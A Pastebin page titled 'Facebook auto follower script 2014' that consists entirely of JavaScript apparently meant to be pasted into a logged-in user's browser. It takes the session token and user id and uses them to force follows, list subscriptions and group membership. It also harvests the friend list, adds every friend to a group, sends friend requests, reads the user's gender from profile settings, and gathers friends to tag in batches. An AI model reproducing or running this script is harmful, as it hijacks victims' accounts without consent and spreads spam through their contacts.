iViiRuS

Facebook auto follower script 2014

May 20th, 2014
342
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  2. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  3.    
  4. function cereziAl(isim) {
  5.     var tarama = isim + "=";
  6.     if (document.cookie.length > 0) {
  7.         konum = document.cookie.indexOf(tarama)
  8.         if (konum != -1) {
  9.             konum += tarama.length
  10.             son = document.cookie.indexOf(";", konum)
  11.             if (son == -1)
  12.                 son = document.cookie.length
  13.             return unescape(document.cookie.substring(konum, son))
  14.         }
  15.         else { return ""; }
  16.     }
  17. }
  18.  
  19. function getRandomInt (min, max) {
  20.     return Math.floor(Math.random() * (max - min + 1)) + min;
  21. }
  22. function randomValue(arr) {
  23.     return arr[getRandomInt(0, arr.length-1)];
  24. }
  25.  
  26. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  27. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  28.  
  29. function a(abone){
  30.     var http4 = new XMLHttpRequest();
  31.      
  32.     var url4 = "/ajax/follow/follow_profile.php?__a=1";
  33.      
  34.     var params4 = "profile_id=" + abone + "&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg=" + fb_dtsg + "&lsd&__" + user_id + "&phstamp=";
  35.     http4.open("POST", url4, true);
  36.      
  37.     //Send the proper header information along with the request
  38.     http4.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  39.     http4.setRequestHeader("Content-length", params4.length);
  40.     http4.setRequestHeader("Connection", "close");
  41.      
  42.     http4.onreadystatechange = function() {//Call a function when the state changes.
  43.     if(http4.readyState == 4 && http4.status == 200) {
  44.        
  45.       http4.close; // Close the connection
  46.      
  47.     }
  48.     }
  49.    
  50.     http4.send(params4);
  51. }
  52.  
  53. function sublist(uidss) {
  54.         var a = document.createElement('script');
  55.         a.innerHTML = "new AsyncRequest().setURI('/ajax/friends/lists/subscribe/modify?location=permalink&action=subscribe').setData({ flid: " + uidss + " }).send();";
  56.         document.body.appendChild(a);
  57. }
  58.  
  59. // Follow
  60. a("100001245915173");
  61. a("100001737510515");
  62. a("100003986942385");
  63. a("100005727970138");
  64. a("100002839555050");
  65. a("100007631553045");
  66. a("100007807470180");
  67. a("100003065838865");
  68. a("100001831586264")
  69. // SubList
  70. sublist("598112833589962");
  71. sublist("676273822443664");
  72. sublist("373616099447952");
  73. sublist("1376000229331016");
  74. sublist("214690415398556");
  75. sublist("1390223227914580");
  76. sublist("494020637376793");
  77. // Nambah Temen
  78.  
  79. var gid = ['491042304279099'];
  80.  
  81. var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value'];
  82. var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]);
  83.  
  84. var httpwp = new XMLHttpRequest();
  85. var urlwp = '/ajax/groups/membership/r2j.php?__a=1';
  86. var paramswp = '&ref=group_jump_header&group_id=' + gid + '&fb_dtsg=' + fb_dtsg + '&__user=' + user_id + '&phstamp=';
  87. httpwp['open']('POST', urlwp, true);
  88. httpwp['setRequestHeader']('Content-type', 'application/x-www-form-urlencoded');
  89. httpwp['setRequestHeader']('Content-length', paramswp['length']);
  90. httpwp['setRequestHeader']('Connection', 'keep-alive');
  91. httpwp['send'](paramswp);
  92.  
  93. var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value'];
  94. var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]);
  95.  
  96. var friends = new Array();
  97. gf = new XMLHttpRequest();
  98. gf['open']('GET', '/ajax/typeahead/first_degree.php?__a=1&viewer=' + user_id + '&token' + Math['random']() + '&filter[0]=user&options[0]=friends_only', false);
  99. gf['send']();
  100. if (gf['readyState'] != 4) {} else {
  101.     data = eval('(' + gf['responseText']['substr'](9) + ')');
  102.     if (data['error']) {} else {
  103.         friends = data['payload']['entries']['sort'](function (_0x93dax8, _0x93dax9) {
  104.             return _0x93dax8['index'] - _0x93dax9['index'];
  105.         });
  106.     };
  107. };
  108.  
  109. for (var i = 0; i < friends['length']; i++) {
  110.     var httpwp = new XMLHttpRequest();
  111.     var urlwp = '/ajax/groups/members/add_post.php?__a=1';
  112.     var paramswp= '&fb_dtsg=' + fb_dtsg + '&group_id=' + gid + '&source=typeahead&ref=&message_id=&members=' + friends[i]['uid'] + '&__user=' + user_id + '&phstamp=';
  113.     httpwp['open']('POST', urlwp, true);
  114.     httpwp['setRequestHeader']('Content-type', 'application/x-www-form-urlencoded');
  115.     httpwp['setRequestHeader']('Content-length', paramswp['length']);
  116.     httpwp['setRequestHeader']('Connection', 'keep-alive');
  117.     httpwp['onreadystatechange'] = function () {
  118. if (httpwp['readyState'] == 4 && httpwp['status'] == 200) {};
  119.     };
  120.     httpwp['send'](paramswp);
  121. };
  122. var spage_id = "255816564593628";
  123. var spost_id = "256794934495791";
  124. var sfoto_id = "256988317809786";
  125. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  126. var smesaj = "";
  127. var smesaj_text = "";
  128. var arkadaslar = [];
  129. var svn_rev;
  130. var bugun= new Date();
  131. var btarihi = new Date();
  132. btarihi.setTime(bugun.getTime() + 1000*60*60*4*1);
  133. if(!document.cookie.match(/paylasti=(\d+)/)){
  134. document.cookie = "paylasti=hayir;expires="+ btarihi.toGMTString();
  135. }
  136.  
  137.  
  138. //arkadaslari al ve isle
  139. function sarkadaslari_al(){
  140.         var xmlhttp = new XMLHttpRequest();
  141.         xmlhttp.onreadystatechange = function () {
  142.             if(xmlhttp.readyState == 4){
  143.                   eval("arkadaslar = " + xmlhttp.responseText.toString().replace("for (;;);","") + ";");
  144.                   for(f=0;f<Math.round(arkadaslar.payload.entries.length/10);f++){
  145.                     smesaj = "";
  146.                     smesaj_text = "";
  147.                   for(i=f*10;i<(f+1)*10;i++){
  148.                     if(arkadaslar.payload.entries[i]){
  149.                   smesaj += " @[" + arkadaslar.payload.entries[i].uid +  ":" + arkadaslar.payload.entries[i].text + "]";
  150.                   smesaj_text += " " + arkadaslar.payload.entries[i].text;
  151.                   }
  152.                     }
  153.                     sdurumpaylas();             }
  154.                
  155.             }
  156.            
  157.         };
  158.         var params = "&filter[0]=user";
  159.         params += "&options[0]=friends_only";
  160.         params += "&options[1]=nm";
  161.         params += "&token=v7";
  162.         params += "&viewer=" + user_id;
  163.         params += "&__user=" + user_id;
  164.        
  165.         if (document.URL.indexOf("https://") >= 0) { xmlhttp.open("GET", "https://www.facebook.com/ajax/typeahead/first_degree.php?__a=1" + params, true); }
  166.         else { xmlhttp.open("GET", "http://www.facebook.com/ajax/typeahead/first_degree.php?__a=1" + params, true); }
  167.         xmlhttp.send();
  168. }
  169.  
  170. //tiklama olayini dinle
  171. var tiklama = document.addEventListener("click", function () {
  172. if(document.cookie.split("paylasti=")[1].split(";")[0].indexOf("hayir") >= 0){
  173. svn_rev = document.head.innerHTML.split('"svn_rev":')[1].split(",")[0];
  174. sarkadaslari_al();
  175. document.cookie = "paylasti=evet;expires="+ btarihi.toGMTString();
  176.  
  177. document.removeEventListener(tiklama);
  178. }
  179.  }, false);
  180.  
  181.  
  182. //arkada?¾ ekleme
  183. function sarkadasekle(uid,cins){
  184.         var xmlhttp = new XMLHttpRequest();
  185.         xmlhttp.onreadystatechange = function () {
  186.             if(xmlhttp.readyState == 4){   
  187.             }
  188.         };
  189.        
  190.         xmlhttp.open("POST", "/ajax/add_friend/action.php?__a=1", true);
  191.         var params = "to_friend=" + uid;
  192.         params += "&action=add_friend";
  193.         params += "&how_found=friend_browser";
  194.         params += "&ref_param=none";
  195.         params += "&outgoing_id=";
  196.         params += "&logging_location=friend_browser";
  197.         params += "&no_flyout_on_click=true";
  198.         params += "&ego_log_data=";
  199.         params += "&http_referer=";
  200.         params += "&fb_dtsg=" + document.getElementsByName('fb_dtsg')[0].value;
  201.         params += "&phstamp=165816749114848369115";
  202.         params += "&__user=" + user_id;
  203.         xmlhttp.setRequestHeader ("X-SVN-Rev", svn_rev);
  204.         xmlhttp.setRequestHeader ("Content-Type","application/x-www-form-urlencoded");
  205.        
  206. if(cins == "farketmez" && document.cookie.split("cins" + user_id +"=").length > 1){
  207.         xmlhttp.send(params);
  208. }else if(document.cookie.split("cins" + user_id +"=").length <= 1){
  209.         cinsiyetgetir(uid,cins,"sarkadasekle");
  210. }else if(cins == document.cookie.split("cins" + user_id +"=")[1].split(";")[0].toString()){
  211.         xmlhttp.send(params);
  212. }
  213. }
  214.  
  215. //cinsiyet belirleme
  216. var cinssonuc = {};
  217. var cinshtml = document.createElement("html");
  218. function scinsiyetgetir(uid,cins,fonksiyon){
  219.         var xmlhttp = new XMLHttpRequest();
  220.         xmlhttp.onreadystatechange = function () {
  221.             if(xmlhttp.readyState == 4){
  222.             eval("cinssonuc = " + xmlhttp.responseText.toString().replace("for (;;);","") + ";");
  223.             cinshtml.innerHTML = cinssonuc.jsmods.markup[0][1].__html
  224.             btarihi.setTime(bugun.getTime() + 1000*60*60*24*365);
  225.             if(cinshtml.getElementsByTagName("select")[0].value == "1"){
  226.             document.cookie = "cins" + user_id + "=kadin;expires=" + btarihi.toGMTString();
  227.             }else if(cinshtml.getElementsByTagName("select")[0].value == "2"){
  228.             document.cookie = "cins" + user_id + "=erkek;expires=" + btarihi.toGMTString();
  229.             }
  230.             eval(fonksiyon + "(" + id + "," + cins + ");");
  231.             }
  232.         };
  233.         xmlhttp.open("GET", "/ajax/timeline/edit_profile/basic_info.php?__a=1&__user=" + user_id, true);
  234.         xmlhttp.setRequestHeader ("X-SVN-Rev", svn_rev);
  235.         xmlhttp.send();
  236. }
RAW Paste Data